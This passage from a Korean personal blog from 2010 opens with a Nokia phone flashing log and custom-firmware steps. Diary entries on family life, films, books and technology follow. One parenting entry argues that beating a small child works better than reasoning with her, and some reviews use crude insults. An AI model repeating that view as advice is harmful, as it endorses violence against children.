CNT Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx
APE Variant file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx
Languages in ppm: English,Korean
Detected P-KEY: 90009699
P-key nokia module version 01.02
Init usb communication...
PRESS POWER ON NOW!

Searching for phone...Found
Sending RAW loader...
Using 009.012.005
    Elf2flash 09.11.000
    CMT RAW loader...
Patching RAW boot step1...
Patching RAW boot step2...
Patching RAW boot step3...
Sending RAW Loader...
....................Loader Sent!
Stage 2 starting..................PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
...........Phone prepared OK!
Waiting for the phone to boot...
Searching for phone...
Status byte: 8000
Selecting CMT flash...
Result: 0000
Phone is in flash mode...
CMT blocks: 567, APE blocks: 0
Erasing cmt...
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00...
Erasing cmt zone 00040000 - 00082FFF ... Erase result: 0000
Erasing cmt zone 00083400 - 003FFFFF ... Erase result: 0000
Erasing cmt zone 00400000 - 007FFFFF ... Erase result: 0000
Erasing cmt zone 00800000 - 00D5FFFF ... Erase result: 0000
Erasing cmt zone 00D60000 - 09E5FFFF ... Erase result: 0000
Partition result: 0014
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32...
Erasing cmt zone 07180000 - 0915FFFF ... Erase result: 0000
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx...
Erasing cmt zone 09160000 - 09E5FFFF ... Erase result: 0000
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx...
Erasing cmt zone 09E60000 - 0F71FFFF ... Erase result: 0000
Send CMT CFG...

Writing cmt...
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00...
Sending CMT HASH for ADA
Sending CMT HASH for KEYS
Sending CMT HASH for PRIMAPP
Sending CMT HASH for RAP3NAND
Sending CMT HASH for PASUBTOC
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected, sending...
cmt->PAPUB keys already sent...
Sending CMT HASH for SOS*UPDAPP
Sending CMT HASH for SOS*ENO
Sending CMT HASH for SOS*DSP0
Sending CMT HASH for SOS*ISASW
Sending CMT HASH for SOS+CORE
Sending CMT HASH for SOS+ROFS1
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32...
Sending CMT HASH for SOS+ROFS2
Write result 27: 1701
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx...
Sending CMT HASH for SOS+ROFS3
Write result 27: 1701
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx...
Rebooting...
Finishing CMT session...
Restarting CMT...
Pooling phone...
MCUSW: V ICPR72_09w20.18
12-05-10
RM-356
(c) Nokia
APESW: V 20.7.006
VariantSW: V 20.7.006
Prodcode: 0588615
Setting test mode...
Setting FULL FACTORY...
Operation took 0 minutes 7 seconds...
Done!
Done!

ROMPatcher Plus 실행: Install Server RP+를 녹색으로 바꾸고 Options에서 'Add to Auto' 설정. 이래야 리부팅해서도 자동으로 적용된다.

auto installer가 포함되어 있는 커스텀 펌웨어면 휴대폰을 pc와 대용량 저장소로 연결 후 microSD의 다음 디렉토리에 파일을 복사해 놓는다:

  •  /thinkchange/c 에는 휴대폰의 c에 설치할 .sis 파일 복사
  •  /thinkchange/e 에는 휴대폰의 e에 설치할 .sis 파일 복사
  • 커펌에 포함되어 있는 autoinstaller를 실행해 약 43개의 sis app를 설치. 3개 정도는 설치가 되지 않았다.

(내 경우) microSD 포맷 전에 복사해 둔 디렉토리중 아래 디렉토리를 microSD에 다시 복사.

  • Garmin -- 지도 .img 파일들 및 sw.unl 파일(라이센스 파일)
  • Images -- 바탕화면 이미지
  • Resource/Fonts/ -- 맑은 고딕 폰트를 아래 이름으로 변경해서 넣어둠. 부팅후 적용됨.
    • S60ZDIGI.ttf
    • Series60Korean.ttf
  • s60dict/ -- 영어사전,영한사전, 한글위키(2010-2월 버젼)
  • SportsTracker2

PC Suite로 휴대폰과 연결 후 outlook과 데이터 동기화


하고 나서 달라진 점:
딱히 감동스러운 것은 없다. ovi map으로 태국 여기 저기 둘러보았다. 배터리 사용시간이 줄어들었다. 커펌 처음할 때는 microSD를 지우지 않았는데, 그 때문인 것 같아 microSD를 제대로 포맷했다. 이틀 쯤 지켜보았는데 배터리 시간이 예전과 비슷한 수준으로 돌아왔다.

커펌을 하고 나서 테마 정도만 변경되고 새로운 앱을 설치한 것이 아니라서인지 특별히 좋다거나 나쁘다거나 할 수 있는 부분이 적었다.

안드로이드 폰이 버스폰이 될 때까지 한시적으로 사용한다는 목적으로 5800을 사용했다. 아이폰4가 얼른 출시되어야 다른 안드로이드폰의 가격이 떨어질텐데, 9월까지 커펌으로 근근이 버티면서 느긋하게 기다려보련다.


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대수학자

잡기 2010. 8. 2. 00:54
그냥 걷기 -- 아내에게도 있고 내게도 있고 앞으로 소울이에게도 생기길 희망하는 모종의 정신질환. 그냥 걷기를 쓴 청년에게 굳이 해주고 싶은 말은; 실망할 것 없어요. 무슨 짓을 해도 삶은 무의미해요. 게다가 거기엔 으례 사람들을 위로해 주기 위해 붙이는 '다만'도 안 붙어요.

리비아 간첩 사건 전부터 이명박 대통령의 별명은 글로발 호구였다. 노무현 전 대통령은 동해를 평화의 바다로 부르자고 말했다가 나라 팔아먹을 정신나간 놈 소릴 들었다. 그래도 그렇지, 한국의 동쪽에 있으니까 동해, 서쪽에 있으니까 서해라... 우물안 개구리 같은 소리는 이제 그만해야지 싶다. '동해'는 돌고래의 파바다로 하고 서해는 기름진 바다(oily sea)라고 부르면 좋겠다. 동해의 경우 솔까말,  sea of japan만 아니면 만족하잖아?

본의 아니게 나처럼 미니멀리즘 라이프스타일을 추구하는 박씨(진보신당빠)와 술도 안 먹고 열을 내며 6.2지방선거에 관해 서로의 아름다운 견해를 격렬하게 교환했다.

정서적 가난을 달랠 물질적 풍요가 부족한데, 요즘 시쳇말로 그걸 '미니멀리즘 라이프스타일'이라고  박씨가 말했다. 3년 동안 홍콩에서 일하다가 통장 잔고를 47엔 남기고 돌아온 드라마 속의 호타루는 여전히 그렇게 살았다. 심지어 합리적 이성이나 원리주의적 실용주의를 추구하는 기술자면서도 굉장히 진보적이고 가난하여(가난하고 진보적인? 순서야 어떻든...) 본의 아니게 미니멀리즘 라이프 스타일을 좇게 된 사람들이 굉장히 많다. 하지만 가끔은 그저 나처럼 심지가 굳어서(문명화된 삶의 불필요한 럭셔리를 차례차례 제거하다 보면 끝까지 남을 것은 칫솔과 비누 정도 뿐이다. 그 마저도 줄이면 칫솔이고, 그 마저도 줄이면 비닐봉투와 일회용 라이터와 사냥용 칼이 난데없이 튀어나온다) 집안에 그림 한 점 없고 어디서나 흔하게 굴러다니는 이케아 소파도 침대도 장농도 LCD TV도 없는 그야말로 정신적인 간단주의(미니멀리즘)을 웅변하듯 보여주면서 사람들에게는 '가난해서...' 라고 리얼리스틱한 변명을 늘어놓을 수도 있었다.
 
이사온 지 1년여 지났지만 횡뎅그레한 집안은 의외로 널찍해서 좋았다. 아내나 나나 이렇게 사는게 편하다. 가끔 아내는 길거리에서 사과상자나 남들이 버린 가구를 줏어오기도 했다. 그럼 우아한 미니멀리즘이 조금 손상된다. 최근에 안 사실이지만, 볼 때마다 치우고 싶은 기분이 드는 거실의 저... 흉물스럽게 대충 액자를 짜 맞춘  보살상이 석굴암에서 뜬 탁본이라고 아내가 놀러온 스님한테 자랑했다. 그때 든 생각은 '시대에 걸맞지 않는 문화재 훼손' 이었다. 차근차근 제거해 가자.

아내는 요즘 현미를 먹었다. 어디서 책 한두 권 보고 혹했지 싶다. 현미는 그야말로 온갖 성인병에 즉효한 건강식이라고 극찬을 받는 것 같다. 현미를 별로 좋아하지 않지만 아내가 이미 쌀독에 현미를 붓고 섞어 버렸다. 지난 수천 년 동안 아시아 국가 대부분에서 양과 질을 포기하면서 까지 왜 쌀 도정을  해 왔는가, 풍부한 섬유소에 영양만빵인 현미라지만 소화가 안 되면 말짱 황이다, 내가 소인가? 입에서 백 번씩 씹어 목으러 넘긴다니 라고  궁시렁거리며 그걸 먹어야 했다. plain rice가 먹고 싶다... 주말에나 집에서 간혹 먹게 되는 소위 '집밥'인데, 내가 먹고 싶은 걸 먹지 못해 기분이 별로다. 집에 놀러온 손씨는 아내 하는 짓이 내심 부러웠던지 날더러 대체 왜 결혼한건지 모르겠다고 말했다.그러게 말이다. 세상에 대한 보은심으로 밖에 설명되지 않을 것 같다.

주말에 소화가 안되는 현미 밥을 먹고, 딸애를 데리고 도서관에 가서 책을 빌렸다. 딸애에게 도서관 카드를 만들어주니 좋아했다. 책은 별로 안 좋아했지만 아빠와 같은 모양의 도서관증은 엄마나 자기 친구인 장난감 멍멍이한테는 없는 것이다.

아이 이름이 특이한데다 툭하면 온갖 사람들에게 인사하는 바람에 동네 여기저기서 아이를 알아보는 사람들이 많았다. 히키코마리 처럼 소심하고 비사회적인 아버지와 귀염성 있는 딸 애가 거리에서 함께 마주치는 떨떠름한 상황들은 여전히 익숙해지지 않는다.

대충 예상을 했지만 딸애가 만 네 살 넘으면서 슬슬 거짓말을 하기 시작했다. 특별히 제제하지는 않았다. 가끔 일찍 퇴근하는 밤이면 아이를 재우면서 금방 머릿 속에 떠오른 지어낸 얘기를 들려주었다.  감정이입이 본격적으로 시작되는 4-6세 아이들 육성 게임(?)에서 중요한 팩터는 소위 인성 교육으로, 사건 연쇄의 인과를 통해 자기 자신의 잘못에 대한 댓가를 치르는 것이 삶이란 교훈을 심어주는 것이다. 편의에 따라 여러 방법을 택할 수 있으며, 상황이 맞다면 때려줘도 무방하지만 내가 아이를 때릴 일은 없을 것 같다. 반면 마누라가 구해 직접 시전하던 허접한 회초리는 '적시 운용' 도중 부러졌다.

아이가 전후좌우 앞뒤 상황을 제대로 인식하고 자신이 저지른 일에 대한 댓가를 제대로 치루게 하는게 중요하다는 흔한 조언이 있는데, 대부분 성인의 인생의 그렇게 합리적으로 돌아간다면 그렇게 해도 된다는 확신을 가지고 하겠지만, 본인도 자기가 왜 때로 가혹한 운명에 휘말리는지 이해가 안 되는데, 아이가 이해 못하는 상황을 억지로 합리적으로 화 안내며 이해시키려고 부모와 아이가 다 같이 힘든 시간을 보내는 것보다는.... 이를테면 미니멀리즘 라이프스타일 스럽게 간단히 두들겨 패는게 훨씬 효과적일 것 같다. 대부분의 육아서적들이 권하는 방식은 그와 달리 불굴의 의지를 지닌 인격자 내지는 어설픈 위선자가 되는 길을 걷길 권하는 것 같았다. 약한 의지 때문에 비겁하게 타협하는  자기 삶에 관해서는 성인들 본인이 더 잘 알지 않을까?

불장난을 즐겁게 하던 중인 아이는 아빠가 동참하면 재미가 두 배가 되는 불장난이 왜 해서는 안 될 짓인지 이해하지 못한다. 어떤 경우에는 되고 어떤 경우에는 안되는 맥락이 파악되지 않아서인데, 닭대가리보다 지능이 조금 나은 수준인 아이에게 그런 상황을 매 번, 일일히 이해시킬 수 있다고 생각하나? 이해시키려고 노력할 필요가 없다는 얘기는 아니나, 구타가 뚜렷하고 효과적인 상벌체계의 한 축이이며 그런 상벌체계의 대안으로써 '칭찬하는 것:칭찬하지 않는 것'은 이성이 깃드는 아이에게(거짓말을 하는 시점이다) 그다지 효과적이지 않다는... 아이가 태어나기 전에 익히 예전 학습 결과가 떠올랐을 뿐.

여자 아이가 점점 자라면서 원하는게 뭔지 갈수록 알 턱이 없게 되겠지만(아내는 현 상태 유지를 가장 선호했다. 행복하다는 증거다) 그래도 이해하려고 노력했고, 제재 방법으로 분리불안을 가중시키는 수단 만큼은 사용하지 않았다. 하지만 사이코패스로 보긴 무리고 소시오패스보단 한 술 더 정신나간 것 같은 나같은 아빠가 아이를 혼자 키우는 상황은 바람직하지 않았다. 아내가 불합리하고 가혹한 운명의 장난으로 다른 길을 걷게 되면 내키진 않겠지만 즉시 재혼해야 할 것 같다. 더럽게 까탈스러운 딸애 입맛에 맞는 먹이감을 구할 수 있을지는 솔직히 의문이지만.

팀 파워즈, 라미아가 보고 있다 -- 오랫만에 보는 활기찬 고딕풍 소설. 바이런, 셀리, 키츠가 고대의 뮤즈에 얽혀 운명에 농락당하며 뭐하나 제대로 해내지 못하는 의지박약아로 나왔다.  기억하기론 번역서의 가제가 '시인의 피'였다. 역자는 김씨나 최씨가 될 줄 알았지만 김씨가 번역하고 제목도 바뀌었다(팬덤과 상관없어지다 보니 몇 년째 그걸 모르고 있었다). 라미아가 보고 있다나 시인의 피나 메두사의 눈길이나 다 좋은 제목이다.

아누비스의 문 을 몇 년 전 읽었을 때 팀 파워즈가 내 취향이 아니라고 막연하게 느꼈다. 하지만 '라미아가 보고 있다'는 도저히 눈을 뗄 수 없을 정도로 페이지를 넘길 때마다 작자가 재현하고 해석하는 컨텍스트의 풍성함, 유머의 강도, 내러티브의 양과 질 모든 면에서 감탄스러운 파노라마가 펼쳐졌으며 오랫만에 눈길을 다른데 돌리지 못하고 본 판타지 소설이 되었다. 알프스 산행과 페르세우스와 지쟈스와 카르보나리 패러디는 이 바닥 오덕용 서비스일지도 모르겠다. 낄낄 웃으면서 읽었다.

찰리 휴스턴, 이미 죽다 -- 라미아 때문에 피맛이 당겨 뱀파이어 느와르물을 하나 더 찾아 읽었다. 비행기 기다리다가 가볍게 읽으며 시간 때우기 적합했다. 인용:
"시간 좀 있어 조?"
"시간이 엄청 많으 지도 모르지. 그동안 조금씩 모아온 시간이 꽤 될지도 몰라. 하지만 그건 나 혼자 쓰고 싶은데, 대체 무슨 일인데 그래?"

내 삶을 들여다본다. 부족한 것이 많다. 하지만 누가 뭐래도 내 인생이다. 매일 조금씩 벼랑 끝으로 다가가는 느낌이다. 언젠가는 발밑의 땅이 꺼지면서 나락으로 떨어질 것이다.
상관없다.
내 인생이라고 남들과 달라야 할 이유는 없으니까.
파도는 우르르 큰 소리를 내며 들어왔다. 마치 맹목성과 완고함을 액체 형태로 바리바리 꾸려 놓은 것 같았다. -- 이언 M. 뱅크스, 대수학자. 뱅크스 소설은 뭐가 나왔던 다 읽어봐야 겠다고 마음 먹은 적이 있다. 기대를 저버리지 않았다. 심지어 개그물이었다. 인용:
- 아, 그럴 때는 절대로 논란이 없습니다. 드웰러는 그에 대한 문제 해결 방법을 가지고 있거든요.
- 문제 해결 방법요?
- 우아함이 그 방법입니다.
 
'뭐 당신은 그걸 뭐라 부르든 객관적 진실이라는 저속하고 절박한 필요성에 지나치게 얽매이려 하지 않는다면 말이오. 어떻게 생각하시오?'
'제 기억은 왠지 흐릿해서요. 아무래도 당신이 하는 말은 하나도 틀린 데가 없다고 증언하게 될 것 같네요.' 파신이 말했다.
재삼 깨닫지만 판타지 없어도 먹고 살만 하다. 판타지 같은 SF를 아우르는 대집합에서, 순혈주의가 얼어죽을 운명에 침식당한 영혼의 몸부림 덕택에 충분히 웃기지가 않은 반면, 많은 수의 SF는 즐겁고 웃겼다.

호타루의 빛
호타루의 빛. '선배'소리 듣고 몹시 기쁘나, 믿기지 않아 하는  표정을 짓는 아메미야. 2화에서는 말로만 듣던 전설의 '하몽 이베리코'가 나왔다.

How I Met Your Mother
How I Met Your Mother. 천재소년 두기가 이렇게 음탕하게 자랐다.

How I Met Your Mother
천재소년 두기가 없었으면 이 드라마는 그저그런 쓰레기, 웃기지도 않고 재밌지도 않은 청춘연예 시트콤에 불과했을 것이다 Suit up!  legendary!

How To Train Your Dragon
How To Train Your Dragon. Iron Man 2 보다 재밌다길래 부러 구해봤는데 생각보다 별로? 신데렐라, 라푼젤 따위를 개작하는 엘라의 모험 류는 즐기지 않지만 괴물 따위를 좋아하는 딸애는 당연히 좋아했다.

I Love You Phillip Morris
I Love You Phillip Morris. 짐 캐리가 살 빼느라 고생한 영화 같다. 재미 없다.

The Crazies
The Crazies. 밑도 끝도 없는 공포영화? 핵 뜨는 새벽이 왔다. 바이러스에 대한 가장 좋으 솔루션은 만장일치로 핵인 듯.

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월드컵

잡기 2010. 7. 17. 10:57


사용자 삽입 이미지
사진을 사진찍었다. 보는 둥 마는 둥 해서 그런가보다 하고 말았는데, 소울이는 한중일 사진전에 걸린 이 사진을 용케 기억했다. 미술관을 나와 공원 정자에 앉아 멍하니 쉬고 있을 때 옆자리에서 소주를 한 잔하며 할머니들을 꼬시던 중인, 좀 배웠다고 으시대는 노인네가 잘생긴 할머니에 대놓고 이렇게 말했다. '늙을수록 좋은 것은 호박 뿐이야.' 할머니는 자리를 떴다. 젊었을 때 술 잘 퍼 마시는 한량으로 살았음을 무척 자랑스러워 하며 충청도 사투리를 쓰는 노인네가 살 날 얼마 안 남아 모랄이니 에티켓이니 부끄러워 할 것도 없겠지만... 늙을수록 좋은 것은 호박 뿐이다. 이거 왠지 진한 페이소스가 느껴지는데?

별다른 낙이 없고 놀거리가 부족한 젊은이들이 4년 마다 돌아오는 반가운 축제처럼 즐기던 월드컵이 끝났다. 이번 월드컵이 남긴 문화: 일부만 그 진가를 음미하던 영양의 삼위일체, '치맥'이 갑자기 대중화되었다. 내 주말 정기 치맥의 한 축인 하이트 맥스는 맛이 변한건지 내가 변한건지 예전만 못해 고개를 갸웃거리게 한다. 증권시장에서는 한국이 다른 나라에 비해 치킨의 절대 소비량이 아직 적어 치킨 시장의 성장여력이 남아 있다고 판단했다. 하림 주식을 시험삼아 샀다가 닭다리가 3개 들어 있는 동네 맛데이치킨의 매장 구매가에 해당하는  1만2천원을 주식투자로 벌었다. 맛데이의 로마자 표기는 matday(맷데이)가 아니라 masday(마스데이)다. 맛있다 -> massidda로 변환할 때는 맞는데, 맛없다 -> maseupda는 좀 이상했다.

사용자 삽입 이미지
거래처 사람이 칩을 줬고 아내가 주머니에서 발견하고 의심했다. 아이에게 장난감으로 줬다. 도박을 할 때 거의 재미를 느끼지 못하기에 경마도 룰렛도 빠찡코도 블랙잭도 시들했지만 어린 시절에는 삶을 칩으로 쓴 도박을 자주 했다. 그래서 삶이 동글동글한 칩처럼 여기저기 똥밭을 두루 굴러다녔다.

월드컵 기간 중 한국이 16강 진출에 노력을 기울이는 동안 내기를 했다. 아르헨티나전에서는 점수차가 많이 나 승패를 맞춘 사람이 아무도 없다. 우루과이 전은 유일하게 나 혼자 점수를 맞춰 내깃돈 9만원을 먹었지만, 며칠 후 한 잔 산다는 것이 내기로 번 것보다 조금 더 썼다.

수원 시민들이 놀거리가 부족하다고 판단해서인지 서호 근방에 골프장을 열심히 짓고 있었는데, 시장이 민주당 출신으로 바뀌니까 공사를 중단했다. 이왕 하는 김에 자전거 타고 지나가다가 우연히 발견한 꼴페미 신여성 나혜석 생가나 어떻게 해 줬으면 좋겠다. 사명감이 철철 넘치던 예전 신여성과 달리, 요즘 시대를 한 발 앞서 가는 신여성들이 가장 신경쓰는 것은 어장관리인 것 같다고 박씨가 말했다. 글쎄... 신여성이든 뭐든 예전이나 지금이나 매치업의 주도권은 여자에게 있었다.

초음파 소너를 이용한 전원 관리 -- 내 노트북이나 PC야 워낙 전원 관리를 잘해(?) 왔으므로 딱히 별도 프로그램을 구동해 이렇게까지 할 필요성을 못 느끼지만 아이디어가 독특하고 훌륭하다. 이게 마이크가 붙박이로 달려있는 노트북에만 적용할 수 있다는 점이 에러다. 소니 TV에 이것과 비슷한 기능이 있는데, TV 앞에서 TV를 보는 사람이 없으면 일정 시간이 지난 다음 TV가 꺼지게 되어 있다 -- TV 보다가 스르르 잠이 든 사람도 검출이 가능한지 궁금해 한 기억이 난다.

http://www.pachube.com/ -- 전 세계의 센서 모니터링을 하는 사이트. 탄소지수 따위를 보여주기도 하는데, 온/습도, 강수량, 풍향/풍량 센서를 충분히 설치해 두고 그 자료를 수집할 수 있으면 기상 예측에 활용할 수도 있겠다 싶었다.

이 사이트를 처음 방문했을 때나 지금이나 한국에는 센서 모니터링 피드가 하나도 없는데, arduno nxp mbed 따위를 사용해 센서 피드를 만들어 볼까 하다가 비용 문제로 관뒀다. 디바이스 마트에서 판매하는 온습도 센서의 소매가가 가장 싼 것이 무려 1.4만원이나 하니까... 회로 꾸미고 만드는 비용만도 못해도 5-6만원이 든다. 그렇게 해서 센서 피드를 만들어 봐야 무슨 보람이 있으려나...나같은 경우 만들 줄 아는 걸 다시 만드는게 재미있을 리가... 아... 그렇지... '국내 최초'가 스스로의 자긍심을 높여주는 수단이 될 수도 있겠구나 -- 하지만 친구와 즐겁게 술 한 잔 하는 것보다 월드와이드 스마트 센서 그리드에 참여하는 것이 나을 수 있을까? 30대 초반까지 보다 나은 세상을 위해 무엇을 할 것인가 고민했다. 우리 김부장은 술 마실 때마다 사람은 누구나 자신의 이익을 위해 움직인다고 강조하곤 했다. 인류공영을 위해 전심전력을 하던 내가 그렇지 않은 예외였다. 지금은 생각이 많이 바뀌어 P2P처럼 down(내 행복):up(인류사회에 기여) ratio를 따진다.

어쨌거나, social animal스럽게 술은 제때제때 잘 쳐묵쳐묵하면서도 벌써 6개월째 약 27만원 가량 예산이 드는 집 PC 업그레이드는 망설이는 팔자다.

집에 windows 7을 설치하면서 다시 돌아오지 못할 강을 건넜다. 이제는  windows xp로 돌아가지 않는다. 7은 훌륭한  os다.  비스타에 데인 적이 있어 수 개월 동안 나름대로 테스트했다. 개발환경은 windows 7 64bit로 갈아치웠는데 몇몇 개발도구가 작동하지 않아 아쉽다.

windows 7 32bit에서 2048x1080, mpeg2, aac 비디오를 AMD BE-2350 dual core 2.2Ghz, Nvidia 7050에서 kmp+coreavc 2.0 조합으로 보니 풀스크린에서 조금씩 끊긴다. CPU를 2.6GHz로 오버클록해서 12% 정도 성능을 올리자 그나마 형편이 나아졌다. 아무래도 업그레이드를 하긴 해야 할 것 같다.

windows 7에서 EMR을 사용하니 화면 캡쳐가 되지 않아 몇몇 드라마나 영화, 애니 장면 캡쳐를 하지 않았고, 본 동영상은 그때 그때 지워버려서, 약 한 달 동안은  뭘 봤는지 기억나지 않는다. 블로그에 기록에 남긴다고 해서 나중에 다시 찾아볼 것 같지는 않았다. 작품들이 가볍고 통상은 재미가 없어 감상평은 날이 갈수록 간결해 졌다. 그 편이 나았다.

windows 7에는 블루투스 스택이 포함되어 있고 몇 가지 프로파일을 처리할 수 있다. Blue soleil 이나 toshiba bluetooth stack을 설치할 필요 없이 windows 7을 설치하면 헤드셋이나 휴대폰, 키보드, 마우스 따위는 알아서 잡아준다. 이게 은근히 편한게 집 컴퓨터나 사무실 컴퓨터에 블루투스 USB 동글을 달아놓았기 때문에 싱크 케이블 없이 가까이 다가가 그냥 싱크 시킨다거나 사진 찍은 후에 windows 7이 자동으로 잡아주는 노키아 휴대폰의 파일 시스템에 접근해 사진이나 동영상을 복사해 올 수 있다.

블루투스의 전송 속도가 빠른 것은 아니지만 선 연결에서 해방되어 꽤 유용하다. 하지만  그에 상응하거나 그보다 나은 값싸고 실용적인 솔루션들은 시장을 과점한 블루투스에 밀려 도태되고 만 듯. 블투는 3.0에서 속도를 확 올렸다가 4.0에서 저전력으로 돌아왔는데 블투 진영은 뭘해도 지나치게 복잡하고 야매같아 보였다. TI 같은 업체는  극단적으로 적은 전력을 사용하는 ISM 밴드 무선 송수신 기술을 만들기도 했다. 센서 인터페이스로 보자면 차라리 불투보다는 그쪽이 나았다. 동전만한 전지 하나로 72개월을 사용하는 괴물같은 제품군이 있는데, 인체의 키네틱 에너지나 생체전기를 사용하면 뭐 전지조차 필요 없을 것 같다. 인류사회가 값싸게 사용할 수 있는 대안기술들이  블루투스 4.0에 밀리면 조금 아쉬울 것 같긴 한데,  블투4.0이 획기적으로 싸지면 되지 뭐.

블투 4.0, RFID, NFC, Zigbee 등... 그러고보면 온라인 프리센스를 자신의 연장이라고 열렬하게 떠드는 사람을 좀 희안해 하는 편. 실재와 실재감에 관한 기나긴 철학적 논쟁 후에 일부 철학자들은 머리를 식히러 바다나 산으로 가거나 컨퍼런스에서 동료를 만나 잡담을 늘어놓는다. 그중 절대적 다수는 생활을 한다. 온라인은 실재감을 모사하는 거울에 비친 실재들의 불완전한 생활이며 절반 이상은 실제세계에서 관계 맺기를 두려워하는 사람들이 제 안전을 생각해 선택한 대안이다 -- 그래서 실제보다 더 대담하고 모험적이다. 감각의 완전한 커버가 없는 실재의 확장에 일찌감치 관심을 잃었다. 기술은 생각보다 느리게 발전했고 세월이 흐르면서 그런 관계 맺기에 흥미를 잃었다.

Asrock 보드들 역시 USB의 전류량을 500mA에서 1.5A로 늘렸다. iphone 때문에 참 많은 것들이 순식간에 바뀌었다.

google chrome browser 신 버전부터  pdf viewer 를 내장했고 및 flash가 곧 내장될 것이라는 소식을 들었다. chrome의 extension인 pdf/powerpoint viewer와는 다른 건가?

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pdf preview는 그럭저럭 괜찮았다. pdf 파일이 너무 크면 로드하다가 실패하고는 하지만.

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다르다. PDF preview가 google docs를 거쳐 출력된다. 하여튼 ie는 뱅킹할 때나 거지같은 국내 사이트 들어갈 때 빼고는 거의 안 쓰지만 크롬플러스는 항상 열어놓고 썼다.

뇌 과학의 함정 -- 당신 뇌가 당신은 아니라는 말을 서장에서 상당히 불쾌한 방식(철학적 사변)으로 늘어놓는 책.  이 사람이 정말 과학자가 맞는지 의아해서 저자 약력을 여러 차례 확인했다. 과학자같지 않다. 튀고 싶어 무슨 얘기든 늘어놓는 바보스런 십대 같은 말투에 질려 중반에서 읽기를 그만뒀다.

"우주가 어떻게 만들어졌는지도 모르면서 살아가고 있다는게 아무렇지도 않습니까? 그리고 이런 근본적인 것도 모르는 채 죽어야만 한다는 것이 말입니다" -- 신의 퍼즐. 그럴싸하게 시작해서 중반부터 약빨이 다 하고 막장에는 읽은 걸 후회하게 만들면서 엿먹이는 소설.


A Serious Man
A Serious Man.  영화가 시작하면서  Rashi의 격언이 화면에 나타났다 'Receive with simplicity everything that happens to you' 한국인 아빠가 꼬장부리면서 'accept that mystery (of life)' 라고 말하는 것이나, 이빨에 얽힌 어떤 랍비의 일화가 기억에 남았다. 교훈도 얻었지만 그렇다 해도 정치에 실망하거나, 현재의 땀 나고 피곤하고 피비린내 나는 삶의 방식을 당분간 바꿀 생각은 없다.

직장생활을 할 때도 내 출퇴근 시간은 늘 자유였다. 지금이야 그런 것에 저항감을 가지는 사람들이 적지만 십여년 전만 해도 아홉시에 정시 출근하지 않으면 성실하지 못하다는 소리를 들었다. 그에 따른 댓가를 적잖게 치렀다. 성실히 일하는 녀석들보다 높은 수준의 성과를 올려야 했다. 그러면서도 적지않은 시간을 놀고 멍 때릴 때도 있어야  삶이 삶같아 지므로 정말 열심히 살아야 헀다.

의형제
의형제. 생계형 간첩과 국정원에서 쫓겨나 흥신소를 운영하는 전직 방첩부 직원의 구질구질한 이야기. 강동원의 있으나 마나 한 연기력은 그렇다치고, 송강호는 마치... 세상을 구하지만 자신은 수렁에서 허덕이며 몰락해가는 마초 이미지를 구축한 브루스 윌리스처럼 혼자 궁상 떠는 시대상으로써의 남성 이미지 굳히기에 들어간건가?

Dragonaut The resonance
Dragonaut The resonance. 본 지 오래되어서 무슨 내용인지 기억나지 않는다.

건담00
건담00. 작년에 8화까지 보다 말고 바빠서 더 보는 걸 잊어버렸다. 전술예보관. 미노프스키 입자와 유사한 GN 입자를 사용. 건담의 정신병리적 세계관을 적당히 무시한다면야 그럭저럭 볼만한 애니가 되지 싶지만,  이십년 건담으로 산전수전 다 겪고 나서 그 코드를 이해하는 오타쿠스러운 측면에서 보자면 곳곳에서 지뢰처럼 널려있는 신웃음폭탄이 때 되면 작렬하는 스핀오프 개그물이라고 봐도 무방할 듯. 오타쿠스러움없이도, '내가 건담이다!' 같은 명대사는 도저히 잊을 수가 없다.

Bellamy
Bellamy. 죠르주 드빠이유가 주연하는 하드보일드물이라고 믿고 다운받았고 심상치 않은 저 첫 장면에 기대가 이만저만 아니었지만 결론은 차이코프스키와 죠르쥬 브라상스가 흘러나오는 드라마였다. 재미없고 포지션이 어정쩡해서 프랑스 사람들은 이렇게 사는구나, 시체와 피비린내와 마초스러움 대신 집안 장식과 식사 모습 등을 한가하게 관람하며 시간을 보냈다.

Stargate: Universe
Stargate: Universe. S01E20. 억지스럽고 구질구질했던 시즌 마지막 편. 초반과 달리 시리즈가 더럽게 재미없지만 개중에 돋보이는 캐릭터인 저 군바리는 평소에 가장 재수없어 하는 병신 타잎. 이런 시리즈나 이런 벌레같은 인물을 창조하는 작가의 정신세계와는 별 상관없이, 리월 월드에서도 자주 보이는 종류인데 자기가 뭘 하는지, 자기가 무엇인지 모른다는 점에서 양아치나 평범한 좀비와 하등 다를 것이 없었다. 내가 그렇게 살아간다면 부끄럽고 의기소침해서 어쩌면 40 전에 자살했을 것 같다. 메롱이다.

IT Crowd
IT Crowd S04E01. 다시 돌아왔다!
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나로호 발사 실패

잡기 2010. 6. 23. 00:37
